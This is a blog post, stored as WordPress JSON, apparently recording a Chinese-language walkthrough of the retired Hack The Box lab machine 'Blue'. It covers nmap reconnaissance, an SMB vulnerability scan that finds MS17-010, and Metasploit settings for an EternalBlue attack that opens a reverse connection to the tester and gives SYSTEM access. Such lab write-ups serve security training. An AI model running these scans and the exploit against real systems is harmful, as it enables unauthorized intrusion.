{"id":165,"date":"2024-11-13T10:44:28","date_gmt":"2024-11-13T02:44:28","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=165"},"modified":"2024-11-13T10:44:29","modified_gmt":"2024-11-13T02:44:29","slug":"165","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/165\/","title":{"rendered":"HTB\u9776\u673a Blue \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code>10.10.10.40<\/code><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">PING 10.10.10.40 (10.10.10.40) 56(84) bytes of data.\n64 bytes from 10.10.10.40: icmp_seq=1 ttl=127 time=104 ms\n64 bytes from 10.10.10.40: icmp_seq=2 ttl=127 time=103 ms\n64 bytes from 10.10.10.40: icmp_seq=3 ttl=127 time=123 ms\n64 bytes from 10.10.10.40: icmp_seq=4 ttl=127 time=104 ms\n\n--- 10.10.10.40 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3295ms\nrtt min\/avg\/max\/mdev = 103.486\/108.612\/122.930\/8.271 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u901a\u4fe1\u72b6\u6001\u6b63\u5e38\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Sun Sep 15 07:59:38 2024 as: nmap -sF -p- --min-rate 2000 -oN .\/fin_result.txt 10.10.10.40\nNmap scan report for 10.10.10.40 (10.10.10.40)\nHost is up (0.10s latency).\nAll 65535 scanned ports on 10.10.10.40 (10.10.10.40) are in ignored states.\nNot shown: 65535 closed tcp ports (reset)\n\n# Nmap done at Sun Sep 15 08:00:20 2024 -- 1 IP address (1 host up) scanned in 41.15 seconds<\/code><\/pre>\n<p>\u65e0\u6cd5\u5224\u65ad\u9776\u673a\u9632\u706b\u5899\u72b6\u6001\uff0c\u76f4\u63a5\u8fdb\u884c\u5168\u7aef\u53e3<code>TCP<\/code>\u626b\u63cf\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code>TCP<\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Sun Sep 15 08:09:24 2024 as: nmap -sS -sV -A -p- --min-rate 2000 -oN .\/tcp_report.txt 10.10.10.40\nNmap scan report for 10.10.10.40 (10.10.10.40)\nHost is up (0.11s latency).\nNot shown: 65526 closed tcp ports (reset)\nPORT      STATE SERVICE      VERSION\n135\/tcp   open  msrpc        Microsoft Windows RPC\n139\/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn\n445\/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)\n49152\/tcp open  msrpc        Microsoft Windows RPC\n49153\/tcp open  msrpc        Microsoft Windows RPC\n49154\/tcp open  msrpc        Microsoft Windows RPC\n49155\/tcp open  msrpc        Microsoft Windows RPC\n49156\/tcp open  msrpc        Microsoft Windows RPC\n49157\/tcp open  msrpc        Microsoft Windows RPC\nNo exact OS matches for host (If you know what OS is running on it, see https:\/\/nmap.org\/submit\/ ).\nTCP\/IP fingerprint:\nOS:SCAN(V=7.94SVN%E=4%D=9\/15%OT=135%CT=1%CU=31326%PV=Y%DS=2%DC=T%G=Y%TM=66E\nOS:6263A%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=107%TI=I%CI=I%II=I%SS=S\nOS:%TS=7)OPS(O1=M53CNW8ST11%O2=M53CNW8ST11%O3=M53CNW8NNT11%O4=M53CNW8ST11%O\nOS:5=M53CNW8ST11%O6=M53CST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6\nOS:=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M53CNW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O\nOS:%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%D\nOS:F=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=\nOS:%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%\nOS:W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=\nOS:)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%\nOS:DFI=N%T=80%CD=Z)\n\nNetwork Distance: 2 hops\nService Info: Host: HARIS-PC; OS: Windows; CPE: cpe:\/o:microsoft:windows\n\nHost script results:\n| smb2-time: \n|   date: 2024-09-15T00:01:04\n|_  start_date: 2024-09-14T23:45:12\n| smb2-security-mode: \n|   2:1:0: \n|_    Message signing enabled but not required\n| smb-security-mode: \n|   account_used: guest\n|   authentication_level: user\n|   challenge_response: supported\n|_  message_signing: disabled (dangerous, but default)\n| smb-os-discovery: \n|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)\n|   OS CPE: cpe:\/o:microsoft:windows_7::sp1:professional\n|   Computer name: haris-PC\n|   NetBIOS computer name: HARIS-PCx00\n|   Workgroup: WORKGROUPx00\n|_  System time: 2024-09-15T01:01:02+01:00\n|_clock-skew: mean: -30m24s, deviation: 34m36s, median: -10m28s\n\nTRACEROUTE (using port 995\/tcp)\nHOP RTT       ADDRESS\n1   116.74 ms 10.10.14.1 (10.10.14.1)\n2   116.96 ms 10.10.10.40 (10.10.10.40)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sun Sep 15 08:11:38 2024 -- 1 IP address (1 host up) scanned in 134.63 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Sun Sep 15 08:13:51 2024 as: nmap -sU -p- --min-rate 2000 -oN .\/udp_ports.txt 10.10.10.40\nWarning: 10.10.10.40 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.10.40 (10.10.10.40)\nHost is up (0.12s latency).\nAll 65535 scanned ports on 10.10.10.40 (10.10.10.40) are in ignored states.\nNot shown: 65180 open|filtered udp ports (no-response), 355 closed udp ports (port-unreach)\n\n# Nmap done at Sun Sep 15 08:19:53 2024 -- 1 IP address (1 host up) scanned in 362.10 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3a<code>Windows 7 Professional<\/code>\uff0c\u5e76\u4e14\u5b89\u88c5\u4e86<code>Service Pack 1<\/code>\u8865\u4e01\u5305\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>MSRPC\u670d\u52a1\uff08135\u7aef\u53e3\uff09<\/h2>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>impacket-rpcdump<\/code>\u5bf9\u76ee\u6807\u670d\u52a1\u8fdb\u884c\u626b\u63cf\uff1a<\/p>\n<pre><code class=\"language-shell\">impacket-rpcdump -p 135 10.10.10.40<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726360608524-515f2985-e265-42f7-9c4f-ad3cb505facc.png\" alt=\"\" \/><\/p>\n<h2>SMB\u670d\u52a1<\/h2>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>Nmap<\/code>\u6f0f\u6d1e\u626b\u63cf\u811a\u672c\u5bf9<code>SMB<\/code>\u670d\u52a1\u8fdb\u884c\u626b\u63cf\uff1a<\/p>\n<pre><code class=\"language-shell\">nmap -sS --script=\"*smb-vuln*\" -p 139,445 10.10.10.40<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726360963585-ff7c3ab2-a42c-4abd-b55e-1a26561f0b49.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u9776\u673a\u81ea\u5e26\u7684<code>SMB<\/code>\u670d\u52a1\u5177\u6709\u8457\u540d\u6f0f\u6d1e<code>MS17-010<\/code>\uff0c\u76f4\u63a5\u8fdb\u884c\u6e17\u900f\u6d4b\u8bd5\u3002<\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<h2>\u6c38\u6052\u4e4b\u84dd\u6f0f\u6d1e\u5229\u7528<\/h2>\n<p>\u76f4\u63a5\u542f\u52a8<code>Metasploit<\/code>\uff0c\u641c\u7d22<code>MS17-010<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726361177000-18d38b43-42a1-47a0-9754-2bfc93f0f919.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u9009\u7528<code>1<\/code>\u53f7<code>EXP<\/code>\uff0c\u8bbe\u7f6e\u653b\u51fb\u53c2\u6570\uff1a<\/p>\n<pre><code class=\"language-shell\">use 1\nset RHOSTS 10.10.10.40\nset LHOST 10.10.14.4\nset LPORT 443<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726361337057-2b426443-9596-4e80-8cce-e8b26003880f.png\" alt=\"\" \/><\/p>\n<p>\u968f\u540e\u76f4\u63a5\u6267\u884c<code>run<\/code>\u547d\u4ee4\u8fdb\u884c\u653b\u51fb\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726361882409-1c29a9f5-15e0-4016-96f6-84b99534281c.png\" alt=\"\" \/><\/p>\n<p><strong>\u653b\u51fb\u6210\u529f\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<p>\u8fdb\u5165\u7cfb\u7edf\u4e4b\u540e\uff0c\u67e5\u770b\u5f53\u524d\u7528\u6237\uff0c\u53d1\u73b0\u5df2\u7ecf\u4e3a<code>SYSTEM<\/code>\u6743\u9650\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726362179602-c647c15d-e06c-4aba-a471-f2e8e74c834e.png\" alt=\"\" \/><\/p>\n<hr \/>\n<h1>Flag\u6587\u4ef6\u5c55\u793a<\/h1>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726364263464-3635caf0-9082-4207-8d56-c01dd018a203.png\" alt=\"\" \/><\/p>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.10.40 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b PING 10.10.10.40 (10.10.10.40)  &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,13],"tags":[],"class_list":["post-165","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-windows_machine"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/165","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=165"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/165\/revisions"}],"predecessor-version":[{"id":166,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/165\/revisions\/166"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=165"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=165"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=165"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}